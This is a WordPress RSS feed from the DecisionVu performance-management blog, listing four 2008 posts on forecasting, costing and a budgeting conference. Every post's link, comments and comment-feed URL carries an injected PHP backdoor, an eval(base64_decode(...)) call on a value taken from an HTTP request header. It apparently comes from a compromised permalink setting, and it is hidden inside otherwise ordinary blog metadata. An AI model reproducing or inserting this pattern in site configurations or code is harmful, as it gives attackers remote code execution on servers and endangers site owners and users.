<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.3.3" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>DecisionVu Blog</title>
	<link>http://blog.decisionvu.com</link>
	<description>Sharing Insights in Performance Management</description>
	<pubDate>Thu, 11 Sep 2008 14:37:56 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.3.3</generator>
	<language>en</language>
			<item>
		<title>Budgeting and Forecasting - Recent conference</title>
		<link>http://blog.decisionvu.com/2008/09/11/budgeting-and-forecasting-recent-conference/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.decisionvu.com/2008/09/11/budgeting-and-forecasting-recent-conference/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 11 Sep 2008 14:31:52 +0000</pubDate>
		<dc:creator>Larry Maisel</dc:creator>
		
		<category><![CDATA[Planning &amp; Forecasting]]></category>

		<category><![CDATA[Activity-Based Costing]]></category>

		<category><![CDATA[Budgeting and Forecasting]]></category>

		<category><![CDATA[Financial Services]]></category>

		<guid isPermaLink="false">http://blog.decisionvu.com/2008/09/11/budgeting-and-forecasting-recent-conference/</guid>
		<description><![CDATA[Mitch and I just completed our presentation sessions and workshop at ASMI&#8217;s Budgeting and Forecasting Masters conference. Two of the more important observations were:  (1) The interest among attendees in driver-based forecasting and budgeting, especially using activity based analysis techniques. My sessions focused on using these techniques to increase revenues and to better plan and manage staff capacity. [...]]]></description>
		<wfw:commentRss>http://blog.decisionvu.com/2008/09/11/budgeting-and-forecasting-recent-conference/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Performance Management - Building for the Future</title>
		<link>http://blog.decisionvu.com/2008/05/15/performance-management-building-for-the-future/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.decisionvu.com/2008/05/15/performance-management-building-for-the-future/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 15 May 2008 19:38:50 +0000</pubDate>
		<dc:creator>Larry Maisel</dc:creator>
		
		<category><![CDATA[Performance Management]]></category>

		<category><![CDATA[risk management]]></category>

		<guid isPermaLink="false">http://blog.decisionvu.com/2008/05/15/performance-management-building-for-the-future/</guid>
		<description><![CDATA[At a recent meeting among leading practioners of Performance Management, the question was asked:  &#8220;What is Performance Management&#8221;. Not surprisingly, there were as many answers as there were individuals participating in the meeting. This raises an important follow up question: &#8220;If there are many definitions of Performance Management, then what is perforamnce management. From my [...]]]></description>
		<wfw:commentRss>http://blog.decisionvu.com/2008/05/15/performance-management-building-for-the-future/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>What&#8217;s Hot in Performance Management?</title>
		<link>http://blog.decisionvu.com/2008/03/20/whats-hot-in-performance-management/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.decisionvu.com/2008/03/20/whats-hot-in-performance-management/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 20 Mar 2008 14:46:12 +0000</pubDate>
		<dc:creator>Mitch</dc:creator>
		
		<category><![CDATA[Activity-Based Costing]]></category>

		<category><![CDATA[Planning &amp; Forecasting]]></category>

		<category><![CDATA[Scorecards &amp; Metrics]]></category>

		<guid isPermaLink="false">http://blog.decisionvu.com/2008/03/20/whats-hot-in-performance-management/</guid>
		<description><![CDATA[Driver-Based Forecasting and Capacity Management are two hot areas of Performance Management gaining attention.  Implementation requires the introduction of core costing capabilities to take full advantage of these methods.]]></description>
		<wfw:commentRss>http://blog.decisionvu.com/2008/03/20/whats-hot-in-performance-management/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Welcome to the new DecisionVu blog!</title>
		<link>http://blog.decisionvu.com/2008/03/18/welcome-to-the-new-decisionvu-blog/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.decisionvu.com/2008/03/18/welcome-to-the-new-decisionvu-blog/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 18 Mar 2008 12:37:47 +0000</pubDate>
		<dc:creator>Mitch</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.decisionvu.com/2008/03/18/welcome-to-the-new-decisionvu-blog/</guid>
		<description><![CDATA[We&#8217;ve decided to experiment with this new forum for sharing insights and practices in the world of Performance Management. Your ideas, comments, reactions and stories will help make this a center of new learnings for our community of clients, colleagues and fellow practitioners. Please come back often.
]]></description>
		<wfw:commentRss>http://blog.decisionvu.com/2008/03/18/welcome-to-the-new-decisionvu-blog/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
